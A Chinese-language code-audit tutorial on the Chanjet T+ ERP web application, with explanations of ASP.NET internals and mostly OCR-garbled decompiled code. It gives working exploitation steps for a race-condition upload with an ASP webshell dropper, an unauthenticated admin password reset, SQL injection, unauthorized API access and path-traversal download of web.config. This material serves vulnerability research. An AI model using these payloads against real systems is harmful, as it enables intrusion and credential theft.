代码审计入门之用友畅捷通T+代码审计

 

0x00:前言

畅捷通T+是由用友软件开发的一款新型互联网企业管理软件,全面满足成长型小微企业对其灵活业务流程的管控需求,重点解决往来业务管理、订单跟踪、资金、库存等管理难题。T+结合畅捷通100多万中小企业的管理经验,采用完全B/S结构及.NET先进开发技术,通过解决中小企业管理现状的重点问题,以及对业务过程主要环节的控制与管理,提升管理水平,为企业带来更多管理价值。产品应用功能包括:采购管理、库存核算、销售管理、零售管理、促销管理、会员管理、生产管理、往来现金、固定资产、出纳管理、总账、T-UFO;主要应用于中小商贸企业、工业企业与工贸企业一体化管理。在某次安全评估过程中在内网遇到该系统。遂对该系统进行一次粗略的代码审计分析,来看看这套系统存在哪些问题。

 

0x01:前置知识

在分析代码之前我们先了解一下ASP.NET的一些基础知识和关键信息

ASP.NET 支持三种不同的开发模式:

Web Pages MVC MVC Wet Forms ASP NET

Global.asax与Web.config:

                                  Global.asax

                                 Web.config

Global.asax是一个全局文件,一个ASP.NET的应用程序文件,是从从HttpApplication基类派生的类。

响应的是应用程序级别和会话级别事件 ,当需要处理应用程序事件或会话事件时,可建立使用Global.asax文件。

Web.config是一个配置文件,是基于XML的文本文件。

通过配置相关节点来实现数据库连接以及身份验证等功能。

Web.config文件并不编译进dll文件中,将来有变化时,可直接用记事本打开Web.config文件进行编辑修改,很方

便。

 

按执行顺序来解释一下Global.asax.cs中相应的事件处理方法的含义:

  • Application_BeginRequest:BeginRequest是在收到Request时第一个触发的事件,这个方法自然就是第一个执行的了。
  • Application_AuthenticateRequest:当安全模块已经建立了当前用户的标识后执行。
  • Application_AuthorizeRequest:当安全模块已经验证了当前用户的授权时执行。
  • Application_ResolveRequestCache:当ASP.NET完成授权事件以使缓存模块从缓存中为请求提供服务时发生,从而跳过处理程序(页面或者是WebService)的执行。这样做可以改善网站的性能,这个事件还可以用来判断正文是不是从Cache中得到的。
  • Application_AcquireRequestState:当ASP.NET获取当前请求所关联的当前状态(如Session)时执行。
  • Application_PreRequestHandlerExecute:当ASP.Net即将把请求发送到处理程序对象(页面或者是WebService)之前执行。这个时候,Session就可以用了。
  • Application_PostRequestHandlerExecute:当处理程序对象(页面或者是WebService)工作完成之后执行。
  • Application_ReleaseRequestState:在ASP.NET执行完所有请求处理程序后执行。ReleaseRequestState事件将使当前状态数据被保存。
  • Application_UpdateRequestCache:在ASP.NET执行完处理程序后,为了后续的请求而更新响应缓存时执行。
  • Application_EndRequest:同上,EndRequest是在响应Request时最后一个触发的事件,这个方法自然就是最后一个执行的了。

再附上两个无顺序的,随时都可能执行的:

  • Application_PreSendRequestHeaders:向客户端发送Http标头之前执行。
  • Application_PreSendRequestContent:向客户端发送Http正文之前执行。

预编译:

ASP.NET在将整个站点提供给用户之前,可以预编译该站点。这为用户提供了更快的响应时间,提供了在向用户显示站点之前标识编译时bug的方法,提供了避免部署源代码的方法,并提供了有效的将站点部署到成品服务器的方法。可以在网站的当前位置预编译网站,也可以预编译网站并将其部署到其他计算机。

部署时不同文件类型对应的预编译操作和输出位置:

文件类型 预编译操作 输出位置
.aspx、ascx、.master 生成程序集和一个指向该程序集的.compiled文件。原始文件保留在原位置,作为完成请求的占位符 程序集和.compiled文件写入Bin文件夹中。页(去除内容的.aspx文件)保留在其原始位置
.asmx、.ashx 生成程序集。原始文件保留在原位置,作为完成请求的占位符 Bin文件夹
App_Code文件夹中的文件 生成一个或多个程序集(取决于Web.config设置) Bin文件夹
未包含在App_Code文件夹中的.cs或.vb文件 与依赖于这些文件的页或资源一起编译 Bin文件夹
Bin文件夹中的现有.dll文件 按原样复制文件 Bin文件夹
资源(.resx)文件 对于App_LocalResources或App_GlobalResources文件夹中找到的.resx文件,生成一个或多个程序集以及一个区域性结构 Bin文件夹
App_Themes文件夹及子文件夹中的文件 在目标位置生成程序集并生成指向这些程序集的.compiled文件 Bin文件夹
静态文件(.htm、.html、图形文件等) 按原样复制文件 与源中结构相同
浏览器定义文件 按原样复制文件 App_Browsers
依赖项目 将依赖项目的输出生成到程序集中 Bin文件夹
Web.config文件 按原样复制文件 与源中结构相同
Global.asax文件 编译到程序集中 Bin文件夹

.net反编译相关工具:

  • ILSPY
  • DNSPY
  • .Net Reflector

 

0x02:任意文件上传

从官网下载安装包后我们直接安装即可,然后到安装目录下查看源码。

Appserver Browser DBServer TP1usPro WebServer WebSite login. ico PatchBui1dInfo. xml ProductBui1dInfo. xml RegPrintD11. bat Unlnstall. exe Uninstall. ico 2019 2019 2016 2019 2019 2019 2016 2017 2016 2016 2019 2016 11 11 10 11 11 11 10 20 20 17 20 20 20 17 16. 16. 15. 58 15. 43 16 : 06 16. 1 20 9:40 12 10 11 10 15 17 20 17 15:59 38 KB 21:25 15:58 135 KB 15:58 W'ndows 16. • 05 1 KB 1 KB 1 KB 9 KB

打开WebSite目录,查看源码

Templates Tool UFAQD UFControls User Files Userlmages User ImagesTemp WebHelp WorkFlow Accou ntOptionVa lidators.config bap.web.config BAPFunctionMapping.config cache_statistic.aspx Changepassword.aspx CheckCode.aspx checkocx.htm clientaccesspolicy.xml Error.aspx fa vicon.ico G LSyncSe m ce.a smx 2016/12/15 20:49 2019/11/20 16:28 2016/12/15 20:51 2016/12/15 20:51 2019/11/20 16:05 2016/12/15 21:13 2016/12/15 20:51 2019/11/20 16:27 2016/12/15 21:13 2019/11/20 16:28 2016/12/15 21:11 2016/12/15 20:51 2016/12/15 21:25 2016/12/15 20:51 2016/11/25 16:40 2016/11/25 16:40 2016/11/25 16:40 2016/12/15 20:59 2016/12/15 20:59 2016/12/15 20:59 2016/11/25 16:40 2016/11/25 16:39 2016/12/15 20:59 2016/11/25 16:39 2016/12/15 20:59 2016/12/15 20:59 CONFIG CONFIG CONFIG ASPX ASPX ASPX Firefox HTML XML ASPX ASMX ASPX

观察到所有的aspx文件都只有1kb大小。用编辑器打开看看,寻找引用DLL位置的代码片段。

打开后发现提示我们源代码已经被预编译处理,那么我们打开bin目录寻找预编译后的DLL文件。通过ILspy反编译dll文件

我们先从Global.asax文件入手,因为它提供了一些全局可用的方法,通过分析这些方法我们了解得到系统如何是如何配置安全措施。从而帮助我们快速 定位到漏洞触发点。我们先来看看Application.PreRequestHandlerExecute 事件是怎么写的。因为Application.PreRequestHandlerExecute 事件是在ASP.Net即将把请求发送到处理程序对象(页面或者是WebService)之前执行。一般作用于全局,身份校验判断一般都是在其逻辑中实现。

// Token: ox06000006 RID: 6 RVA: Ox0000221C File Offset: ox0000041C sender, EventAr s HttpAppIication httpAppIication — HttpAppIication) sender HttpContext cont ext (context. string fil ath httpAppIication Cont ext Request. FilePath cont ext bool flag Request. QueryString prel cont ext IsNuIIOrEmpty (filePath)) string (text. return fileP ath ToLower • jpg" t. aspx . png "t3intro. aspx t. (text. ( syncache. aspx return [ ] array string Split ( fileP ath . Length string ar r ay [nu_m] . ToLower "login. aspx " changepassword. aspx "beginerstudy. aspx" servicewatch. ar r ay [nu_m "helpcenter. aspx "linktplus. aspx" return "video" " checkcode. aspx " doplay. aspx" "clienttool. aspx (a "welcome. aspx "licenseinformation. aspx context Request " dovmload. aspx initservices. aspx recoverpassword. aspx " admin. aspx return (fileP ath ToLower return (fileP ath ToLower return . sm/messagecenter/handler. aspx . sm/upload/testuploadspeed. aspx

先是将sender转换成httpApplication对象,然后取HTTP数据流,然后判断流内容的请求是否为空。然后获取当前请求的虚拟路径。然后将 flag 置为1

随后判断路径是否为空。

然后判断路径后缀是否在名单内。如果在名单内部就直接跳出。如下所示的页面或满足后缀的页面都直接跳出。

t. return • jpg" t. aspx " • gif" "beginerstudy. aspx" servicewatch. . png "t3intro. aspx t. (text. sm/ru_nmanage/syncache. asp return [ ] array string arra Split ( fileP ath Len th string ar r ay [nu_m] . ToLower "login. aspx " changepassword. aspx ar r ay [nu_m "helpcenter. aspx "linktplus. aspx" return "welcome. aspx "licenseinformation. aspx context Request " dovmload. aspx initservices. aspx "video" " checkcode. aspx " doplay. aspx" "clienttool. aspx recoverpassword. aspx (a " admin. aspx (fi ePath ToLower (fi ePath ToLower . sm/messagecenter/handler. aspx . sm/upload/testuploadspeed. aspx"

在这份所谓的名单里我观察到一个疑似存在上传功能的地址,sm/upload/testuploadspeed.aspx 从字面上不难理解这是一个测试上传速度的接口。直

觉告诉我这里存在问题。我们跟进看看代码是怎么写的。

// Token: ox06000003 RID: 3 RVA: Ox00002074 File Offset: Ox00000274 protected void sender, EventArgs HttpFiIeCoIIection files (files. 0) try HttpPostedFiIe string httpPostedFiIe HttpContext. Request. Files i) httpPostedFiIe = base. Files base. MapPath (text) httpPostedFiIe Substring (httpPostedFiIe LastlndexOf + I) (text) base. (Exception base. base. Message ex

逻辑上很清晰了。取得上传数据然后直接写入Templates目录里去,且写入路径直接拼接文件名,说明写入路径可控。然后马上又调用Delete方法删除文件。看起来貌似很正常的样子,但实际上这里已经出现了严重的安全问题。首先是未限制上传文件的后缀,大概是程序员觉得上传后马上就删除了应该没啥问题。其次是写入路径可控。最后是逻辑顺序设计的不合理,当程序在服务端并发处理用户请求时就会出现问题,如果在文件上传成功后但是在删除它以前这个文件就被执行了那么会怎样呢?

我们假设攻击者上传了一个用来生成恶意shell的文件,在上传完成并删除它的间隙,攻击者通过不断地发起访问请求的方法访问了该文件,该文件就会被执行,并且在服务器上生成一个恶意shell的文件。至此,该文件的任务就已全部完成,至于后面把它删除的问题都已经不重要了,因为攻击者已经成功的在服务器中植入了一个shell文件,后续的一切就都不是问题了。

实际利用过程:

先构造一个上传,然后通过burp重复发包,线程调高一点。

构造页面如下:

<html>

<body>

<form action="http://192.168.216.149:8080/tplus/sm/upload/testuploadspeed.aspx" method="post" enctype="multipart/form-data">

<label for="file">Filename:</label>

<input type="file" name="file" id="file" />

<br />

<input type="submit" name="submit" value="Submit" />

</form>

</body>

</html>

上传包如下:

Intruder attack 8 Attack Save Columns Target Postions Fitter: Showing all tems Response Params Headers Pay dads Hex Options o o o o o o o o o o o Tmeout o o o o o o o o 0 o o -20495801526689 Content—Disposition: form—data, name="file" Content—lype: application/ octet—stream Length 289 asp txt cont ent request ("x") "upload. asp "l PromotionPath = WriteIoHtmI PromotionPath, txtcontent Function WriteIoHtmI (Fpath, Templet) Dim FSO Type a search term Finished O matches

请求包如下,X参数为我们写入的内容。

Intruder attack 10 Attack Save Columns Target Postions Fitter: Showing all tems Pay bad Response Pay dads Options o o o o o o o o o Tmeout 0 0 o o o o o 0 o o Length 317881 317881 317881 317881 317881 3178S8 3178S8 3178S8 3178S8 w Params Headers Hex GEI ,'tplus/lemplates/test. HIIP/I. 1 Host: 192. 168. 216. 149: 8080 User—Agent: MoziIIa/5.O (Windows NI 10. O, Win64, x64, r'" 52. O) Gecko/ 20100101 Firefox/52. O Accept: text/ html, application/xhtml+xml, application/xml : q=O. 9, 1/*: q=O. 8 Accept—Language: zh—CN, zh: q=O. 8, en—US q=O. 5, en: q=O. 3 Accept—Encoding: gzip, deflate Cookie: ASP. Connection: close Type a search term Finished O matches

只要速度够快,就能赶在删除文件之前生成shell

(C:) v Program Files (x86) Chanjet v WebSite v Templates 2019/12/9 upload. asp 17:21 upload. asp — <%eval request ASP 1 KB

因为整套源码都是已经预编译好的,无法使用ASPX脚本来生成shell(这里踩了很多坑),所以我们这里用的是ASP代码来生成的一句话。代码如下:

<%
txtcontent    =  request("x")
PromotionPath = "upload.asp"
WriteToHtml PromotionPath,txtcontent
Function WriteToHtml(Fpath,Templet)
Dim FSO
Dim FCr
Set FSO = CreateObject("Scripting.FileSystemObject")
If FSO.FILEExists(Fpath) Then
FSO.deleteFILE Fpath
End If
Set FCr = FSO.CreateTextFile(Server.MapPath(Fpath), True)
FCr.Write(Templet)
FCr.Close
Set FCr = Nothing
Set FSO = Nothing
End Function
%>

由上述过程我们可以看到这种“关门打狗”的处理逻辑在并发的情况下是十分危险的,极易导致条件竞争漏洞的发生。

 

0x03:管理员密码任意重置漏洞

继续观察名单,我发现存在一个recoverpassword.aspx页面,根据命名可以看出这是一个重置密码的页面。我们跟进看看是否存在漏洞。先看Page_Load怎么写的。这里只有一行代码,通过RegisterTypeForAjax注册类信息到前台页面。RecoverPassword就是要调用的类名,一般都是指页面地址。相当于通过前台JS调用后台方法。那么继续往下看

// Token: ox06000003 RID: 3 RVA: protected void Page_Load (object try ox00002074 File Offset: EventArgs e) sender, ox00000274 Util ity. Regi sterTypeForAjax (typeof (Recoverpassword) ) ; catch (Exception exc) ExceptionHand1erFactory. GetExceptionHand1er (exc) . Handle (this. page)

135-149之间的SetNewPwd函数,我们可以很明显的看出这是一个重置密码的操作请求。从逻辑上看pwdNew经过encode之后进入到RecoverSystemPassword

我们继续跟进看看。

135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 public bool SetNewPwd (string bool result; try this. LoginService. EncodebfD5 this. LoginService. EncodeBase64 result — this. accountService. RecoverSystemPassword catch (Exception ex) throw result, return

这里直接就执行sql语句更新管理员密码了,并没有做其他的校验。很明显我们可以通过ajax调用SetNewPwd函数来修改管理员密码。

5948 5949 5951 5952 5953 5954 5955 5956 5957 // Token: Ox0600009D RID: 157 RVA: OxOOOOBFIC File Offset: OxOOOOA11C public bool RecoverSystemPassword string DBSession dbsession = DBSessionFactory. getDBSession ("LIFTSystem") , string sql = "UPDATE EAP_ConfigPath SET AdminPassword= int num = dbsession. executeNonQuery (sql) , this. ReSetConfigPathCache() ; return num > 0; WHERE idTenant IS NULL AND User Name=' '

找到调用地址,查看构造方法

ttp: w s. org/ 1 "Y/ xhtml > tm xm ns= ht content= text/html , chars et=utf—8" 13 14 15 17 20 22 23 24 25 26 27 29 30 (style type= text margin:0 0 0 0, < / style) < link type= text/css rel= stylesheet" href= (body ( ) , " > (form name= forml" method= post action= (div > < input type="hidden" name= VIEWSTATE" App Themes/Ufida/common. css" RecoverPassword. aspx id= form VIEWSTATE" " < / div > (script (script (script (script (script (script /tp1us/js/ResourceJs/Common. zh—CN. js' type=' text/ javascript' X/ src= type=' text/ javascript' X/ script > /tplus/js/tp. js. ashx src= type= type = type= type= type= text/ javascript text/ javascript text/ javascript text/ javascript text/ javascript src= src= src= sr = "/tplus/ajaxpro/prototype. "/tplus/ajaxpro/core. " /tplus/ajaxpro/converter. " /tp1us/ajaxpro/RecoverPassword, App_Web_recoverpassword. aspx. cdcab7d2. t > DB //<! CCDATAC enabl se ; < / script >

view-source:http://192.168.216.1 52:8080/tplus/ajaxpro/RecoverPassword,App Web recoverpassword.aspx.cdcab7d2.ashx RecoverPassword class = function Object. extend (_RecoverPassword_c1ass. prototype, Object. extend (new AjaxPro. AjaxC1ass GetEmai1: function return this. invoke ("GetEmai1", O, this. GetEmai1. getArguments(). slice (0)) SendVerCode: function re turn ChkVerCode : re turn this. invoke ("SendVerCode function userVerCode this. invoke ("ChkVerCode this. SendVerCode. getArguments . slice (0)) {"userVerCode : userVerCode}, this. ChkVerCode. getArguments(). slice (1)) SetNewPwd: function (pwdNew) { return this. invoke ("SetNewPwd" {"pwdNew" :pwdNew}, this. SetNewPwd. getArguments() . slice (1)) url : /tp1us/ajaxpro/RecoverPassword, App Web_recoverpassword. aspx. cdcab7d2. ashx o, RecoverPassword = new RecoverPassword class

通过burp直接POST数据即可重置管理员密码

Target: http://192.168.216.152:8080 Request Para ms POSI Headers Hex /tpIus/ajaxpro/RecoverPassword, App_Web_recoverpassword. aspx. cdcab7d2. O. Win64. x64. 52. tNewPwd HIIP/I. 1 Host: 192. 168. 216. 152 8080 User—Agent: MoziIIa/5.O (Windows NT 10. Firefox/52. O Accept: Accept—Language: zh—CN, zh: q=O. 8, en—US q=O. 5, en: q=O.B Accept—Encoding: gzip, deflate Content—lype: text/ plain: charset=utf—8 X—Aj æxPro—Method: SetNewPwd Referer: http://192. 168. 216. 152: 8080/tpIus/RecoverPassword. Cont ent—Length: 45 Cookie: ASP.NEI Sessionld= Connection: close {"pwdUew" "46f94c8de14fb36680850768ff1b7f2a"} 0) Gecko/20100101 aspx Response Headers Hex HIIP/I.1 200 OK Cache—ControI: no—cache Pragma: no—cache Content—lype: text/ plain: charset=utf—8 Expirex s,'7.5 Server: Microsoft—Il Set—Cookie: ASP. NET _ SessionId=4iImbOnedguwmwtht2xuuzaI 4. O. 30319 X-Powered-By: ASP. Date: rue, 10 Dec 2019 GMT Connection: close Content—Length: 14 {"value": true} path= / HttpOnIy

 

0x04:SQL注入漏洞

从上一个漏洞我们可以看出开发者貌似很喜欢拼接SQL语句,那么这种随意的拼接行为必然会在某处导致SQL注入。我们全局搜索一下(说是全局搜索,其实也就是在业务系统寻找一些请求,然后跟进查看代码是怎么处理的,即黑盒测试)。这里我们在某个类库找到了一个函数,我们来看看开发人员是怎么写的。

// Token: Ox060002CO public string string RID 704 RVA: ox00017510 File Offset: schedul e" ane) string ox00015710 Empty sm. GetScheduIeLog (schedulenane) Datal able scheduleLog — return this. ConvertToJsonStr (scheduleLog)

第一行没啥说的,我们看第二行,这里scheduleName交给了GetScheduleLog处理,我们继续跟踪GetScheduleLog,可以看到serviceName通过Format()方法直接拼接到SQL语句当中去了。然后后面直接就query了。很明显这里存在注入,我们回过头来看看GetScheduleLogList这个函数是怎

么调用,scheduleName是否可控。

22 23 24 25 26 27 28 29 30 31 32 33 34 // Token: ox06000428 RID: 1064 RVA: Ox0001F324 File Offset: public DataTab1e servic eName Ox0001D524 ' else string text — select case IsRunSuccess when 1 then IsNu11 OrEmpty (serviceName) ) if string. where serviceName = text -F order by id desc text -F text — Query (text) , return this. ' end as IsRunSuccessView from Eap_Schedu1eLog

如图所示,从18行开始,我们看代码,这里定义好命名空间以后,通过AjaxNamespace修改命名空间名称,然后在函数前面添加AjaxMethod

关键字,通过查阅资料可以得知。使用AjaxMethod可以在客户端异步调用服务端方法,简单地说就是在JS里调用后台文件里的方法,做一些JS

无法做到的操作,如查询数据库等。那么上面的问题就迎刃而解了,我们通过构造http请求直接调用GetScheduleLogList传入内容即可注入。

X ScheduleManageController UfIda.T.SM.UlP.dII Ufida.T.SM.UlP Ufida.T.SM.UIP.AccountOption Ufida.T.SM.UlP.Base Ufida.T.SM.UIP.EnumControl Ufida.T.SM.UIP.PosManage Ufida.T.SM.UIP.PrintCenter Ufida.T.SM.UIP.PrintSetting Ufida.T.SM.UIP.Privilege Ufida.T.SM.UIP.ScheduleManage ScheduleManageController @02000033 .cctoro : void @060002CD .ctoro : void @060002CC AddCache(string, Data Table) : void Add TimeStrFormatColumn(ref DataTi ClearCache(string) : 'mid @060002CÉ ConvertToJsonStr(DataTable) : string ExecSchedule(string) : 'mid @060002 FormatTimeStr(string) : string 00600 GetCacheItem(string) : Data Table GetKeyO : string @060002cg GetSchedule(int) : string @060002CI GetScheduIeListO : string 00600028F GetScheduleLogList(string) : string @ IsExistCache(string) : bool UpdateSchedule(string, string) : bool log : 'Log @04000108 SCHEDULEMANAGE CACHENAME : sm : 'ScheduleManage 004000109 Ufida.T.SM.UIP.SetupAccount L]fi d a VT .SM L] I P .Setu pAccou nt.CreateAccou n Ufida.T.SM.UIP.SysManage ClientTaaICantraIer 002000049 RefreshCacheUlP @0200004E 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 39 40 41 using using using using using using using Ufida. T. Uf i da. T. Uf i da. T. Uf i da. T. Uf i da. T. Uf i da. T. Ufida. T. EAP. Aop , EAP. Aop. Server ; EAP. Data EAP. DataStruct. Context , EAP. Logging; EAP. VCache; SM. Interface; namespace Ufida. T. SM. UIP. ScheduleManage CÅ3ÅxNameÅpace Schedul 002BF RID: 703 RVA: Ox000174B8 File LAjaxMethod] pu IC s r Ing etSchedu1eList ( ) string result = string. Empty , string key = this. GetKey() , if string. IsNu110rEmpty (key)) new DataTab1e ( ) ; DataTab1e dt this. sm. GetSchedu1es (true) ; dt ¯ this. AddTimeStrFormatC01umn (ref dt) , if this. IsExi stCache (key)) this. AddCache (key, dt) this. ConvertToJsonStr (dt) result ffset : return result; // Token: ox060002C0 RID: r A iaxMethodl 704 RVA: 0100017510 File Offset: Ox000156B8 0100015710

构造地址:

http://127.0.0.1/tplus/ajaxpro/Ufida.T.SM.UIP.ScheduleManage.ScheduleManageController,Ufida.T.SM.UIP.ashx?method=GetScheduleLogList

POST:

{“scheduleName”:”DatabaseConsolidationTask”}

同理,我发现多处存在原理相同的漏洞,这里我列举几点,就不赘述了。

68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 // Token: ox060002C2 RID: LAjaxMethod] public bool UpdateSchedu1 bool flag — false , 706 RVA: (string Ox000175BO File Offset: Ox000157BO t ineStr) scheduleName, string string key = GetKey() , if string. IsNu110rEmpty (key)) Dictionary<string, object) dictionary = new Dictionary<string, dictionary. Add UpdateSchedu1e(sc edu1eNane, dictionary) , int num = flag = (num > 0) ; if (flag) @ü3.AddCache (key, hi sm. GetSchedu1es (false)) , flag; return object > ( ) ;

ScheduleHelper 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 // Token: ox06000518 RID: 1304 RVA: ox00018C30 File Offset: Ox00016E30 UpdateSchedu1e (s tri erviceN > 28800000.0) finally sq1Connection. Close ( ) ; return dataTab1e; internal static void string actualbeginRunT i mePoi nt , double tiælnterval, runStatu s) int If (timelnterval string text — string. Format( update EAP Schedule set actualbeginRunTimePoint=' {0}' , nextruntimePoint=case isnull (nextruntimepoint, ' when then CONVERT (varchar(100), DATEADD(ms, {1], getDate 21) else CONVERT(varchar(100), DATEADD(ms, {1}, nextruntimepoint), 21) end, , where ServiceName=' " , new object [J actual beginRunT i æPoint, timelnterval, timelnterval, ervi ceN ScheduleHe1per. ExecNoQueryFromSysDB (text) , ScheduleHe1per. log. Warn ("UpdateSchedu1e: sql= + text) , ScheduleHe1per. log. Warn (string. Concat (new object "UpdateSchedu1e: ervi ceN time Interval Token : ox06000519 RID: 1305 RVA: Ox00018CD4 File Offset: Ox00016ED4

在这里除了SQL注入以外还存在一个问题,那就是未授权访问,我们放在下面单独讲。

 

0x05:接口未授权访问

这里本来是想接着SQL注入继续写的,但是想想似乎可以单独列举出来,于是我们就来单独分析一下。回到0x02,我们继续分析global中的Application.PreRequestHandlerExecute 事件。

global asax 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 1 so 181 182 if (context. Session . null) new LoginManager() , LoginManager loginManager if loginManager. CheckUser0n1ine ( ) ) string applicationPath = context. Request. ApplicationPath, this. tickUserJs (applicationpath) , string str = Response. AddHeader ("Pragma" no—cache") , context. Response. CacheContr01 no—cache context. Response. Expires context. if (context. Session ["Userlnfo"] null) Response. Write ( "(script type=' text/ javascript' >function tick0ut ( ) ( " context. base. Session. Abandon ( ) , else Session "Userlnfo"] as Userlnfo; Userlnfo userlnfo — context. string string. Concat (new stringC] User : userlnfo. UserName, Account : userlnfo. AccountID, SessionID:", context. Session. SessionID UIPLogManager. Log Sg Response. Write ( "(script context. ' ) ;tick0ut ( ) ; base. Session. Abandon ( ) , type=' text/ javascript' >function tick0ut ( ) ( " str + str + , alert (' if ' ) ; tick0ut ( ) ; "RadAjaxPane11 (context. Request. Form C"RadAJAXContr011D"] != "RadAjaxManager1" HttpContext. Current. Appl icationlnstance. CompleteRequest ( ) ; && context. Request. Form C" RadAJAXContr011D"]

通过分析149-186行代码,我们可以很明显的看出这段代码是用来鉴权的,判断用户是否登录。逻辑上并没有什么问题。之前我们说到global是作用全局的,但是凡事都有例外,这里的例外指的就是我们从0x04发现的类库,类库是不收到 global的影响的,这是由类库本身的性质决定的。因为类库为方法的集合。方法只能被调用,并不能通过其他方式直接访问,性质是不可访问响应,而Global的作用就是控制全局响应,这里自然无法产生影响。

这里我抽出一个具体案例分析。还是和0x04一样,我们以GetDefaultBackPath()方法为例,可以看出该方法前面添加了ajaxmethod,这里就代表了这是一个ajax的方法接口,变成可访问的控制器。

dil dil dil dil dil dil Ufida.T.SM.SecurityStrategy (12.2.0.0) Uflda.T.SM.UlP (12.2.0.0) UfIda.T.SM.UlP.dII Ufida.T.SM.UlP LJfid a. T. SM. I P.AccountOption llfiHa_ffAM Ufida.T.SM.UIP.AccountOption a. . M.LllPlPGManage Ufida.T.SM.UIP.PrintCenter Ufida.T.SM.UIP.PrintSetting Ufida.T.SM.UIP.Privilege Ufida.T.SM.UIP.ScheduleManage Ufida.T.SM.UIP.SetupAccount L]fi d a VT .SM L] I P Setu pAccou nt.CreateAccou n Ufida.T.SM.UIP.SysManage Ufida.T.SM.UIP.TaskManage Ufida.T.SM.UIP.TerminalProcess Ufida.T.SM.UlP.TooI AccountClearControler @02000051 TaaI_AccauntCIear @02000002 .ctoro : void @06000450 ExecClear(string, string, string, string GetDefaultBackPathO : string IsLocaIO : bool @0600044F OnLoad(EventArgs) : @0600044 account : 'Account @040001A3 clearService : 'AccountClear 004000 container : HtmlControl @040001A4 Ufida.T.SM.UlP.UA Ufida.T.SM.UIP.Upgrade Ufida.T.UIP.SM.MessageCenter Uflda.T.SM.Upgrade (12.2.0.0) Uflda.T.SM.Upgrade.Interface (12.2.0.0) Uflda.T.ST.DTO (12.2.0.0) Uflda.T.ST.Interface (12.2.0.0) Uflda.T.ST.UlP (12.2.0.0) 89 91 92 93 94 95 96 97 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 goto IL _170 IL 17E goto IL _186, IL 170: return false. ToString() , return false. ToString() , catch (Exception) return text ; IL 186: return true. ToString() ; // Token: Ox0600044E RID: 1102 RVA: jaxMetho etDefau1 tBackPath ( ) 0100027788 File Offset: IBack back = ServiceFactory. getService() as IBack, return back. GetDataRoot() , // Token: Ox0600044F RID: 1103 RVA: LAjaxMethod] public bool IsLoca1 Ox000277A8 File Offset: 0100025988 Ox000259A8 IBack back = ServiceFactory. getService() as IBack, return back. IsLoca1 ( ) ; // Token: Ox040001A2 RID: 418 private IAccountC1ear clearService ServiceFactory. getService() as IAccountC1ear;

我们刚刚说到global是作用全局的。当类库里的方法变成接口以后,性质从不可访问响应变成可访问响应时,就会受到其影响,但这里开发者在使用ajaxmethod却忘记使用session。常规的做法应该是使用 [Ajax.AjaxMethod(HttpSessionStateRequirement.Read)] 。然后在方法内部进行权限的判断。所以总得来看还是开发者没有正确的使用ajaxmethod有关。

如图,直接构造方法即可调用接口,前面的注入漏洞也是如此。

0) Load URL split URL Execute tplus/ajaxpro/Ufida.T .SM. UI P. Tool.AccountClearControler, IJfida.T.S M. UI P .ashx?method =GetDefau lt8ackPath Enable Post data Enable Referrer "value" . "C:

 

0x06:任意文件下载

我们继续看代码,发现一个疑似提供下载功能的页面。打开来看看

App Web_downloadproxy.aspx.30c36336 (0.0.0.0) SM DTS forml : HtmlForm Applicationlnstance : global_asax Profile : DefaultProfile .ctorO : EventArgs) : void {l ASP proxy_aspx fileDependencies : object initialized : bool .ctorO : BuildControl_contr0120 : HtmlHead BuildControl_contr0130 : Html Title BuildControlformIO : HtmlForm B u dControlT proxy_a spx) Frameworklnitialize() : GetTypeHashCodeO : int ProcessRequest(HttpContext) : void

打开命名空间,我们来看看实现代码

// Token: ox06000003 RID: 3 RVA: Ox00002074 File Offset: Ox00000274 protected void sender, EventArgs string string text 2 (text2. base. LJrIDecode Request. QueryString t. (text. + I) t. (text. text 2 base. Buffer true base. ExpiresAbsoIute Now. AddDays base. SetExpires Now. AddDays base. Expires base. Clear application/ octet—stream" base. Content Type base. ("Content—Disposition" , " attachment filename=" base. (text, true (text) File . Delete base. // Token: ox04000001 RID: HtmlForm forml (text2)) + base. UrIPathEncode

我们来看Page_Load函数,首先接收path参数,对内容进行URL解码。然后截取字符串。判断text中是否存在“_”。然后设置HttpResponseBase 类的一些属性值。最后将将指定文件的内容作为文件块写入 HTTP 响应输出流。整个流程没有对Path进行任何的过滤和检查,最后导致任意文件下载。

直接构造路径下载web.config:

GEI /tpIus/SM/DIS/DoumIoadProxy. aspx?Path=. ./.. 'Web. Config 1 Host: 192. 168. 216. 136: 8080 User—Agent: MoziIIa/5.O (Windows NT 10. O. Win64. x64, r'" 52. O) Gecko/ 20100101 Firefox/52. O Accept: text/ html, application/xhtml+xml, application/xml : q=O. 9, 1/ * q=O. 8 Accept—Language: zh—CN, zh: q=O. 8, en—US q=O. 5, en: q=O. 3 Accept—Encoding: gzip, deflate Cookie: ASP. NET _ SessionId=az15hahdvkzpysjmifuzOv30 sid=admin Connection: close Cache—ControI: X—AspNet—Version: 4. o. 30319 X—Powered—By: ASP. NE I Date: Wed, 04 Dec 2019 31: 19 GMT Connection: close Content—Length: 14041 Web Of CÅfE?VisuaI Studio "Asp. Net ? machine. config. comment s IF , Net xConfig ? < configuration> <appSettings config <add ker"BaseFiIePath" value="E: long Comp_ longll. "SYSIEMDB" value="" D <add key— "Product Info" value= <add key— "NeedCheckOnImport" <add key— "Report ViewerMessages" <add key— value="Ufida. I. PAP. Report. Control. Report ViewerMessagesZhcn, Ufida. I. PAP. Report. Contr "longReportViewPageSize" <add key— "IotaISumPageSize" <add key— " Chart Imag eHandI er " <add key— value=" Storage=file limeout=20 session"] ± true: false: "SessionLog" <add key— <add ker" enableCompression" value="false" "useV8" value="false" <add key— "Enablelenant" value="false" <add key— "AutoLoadSubDIO" value="false" <add key— " Chart Imag eHandI er " <add key— value=" storage=memory deleteAfterServicing=faIse e— 1, 192. 168. 254. 110.2, 192. 168. 254. 120 "SimpleCIuster" value= <add key— <add ker" mail. mailservice value="http:// up. tplus. chanjet. com: 8001/ Mail Service. asmx" "released" value="true" <add key— <add ker" itvsts2005. SEAShowCustomerService" value="http:// itvsts2005: 8888/ SEAShowCustomerService. asmx"

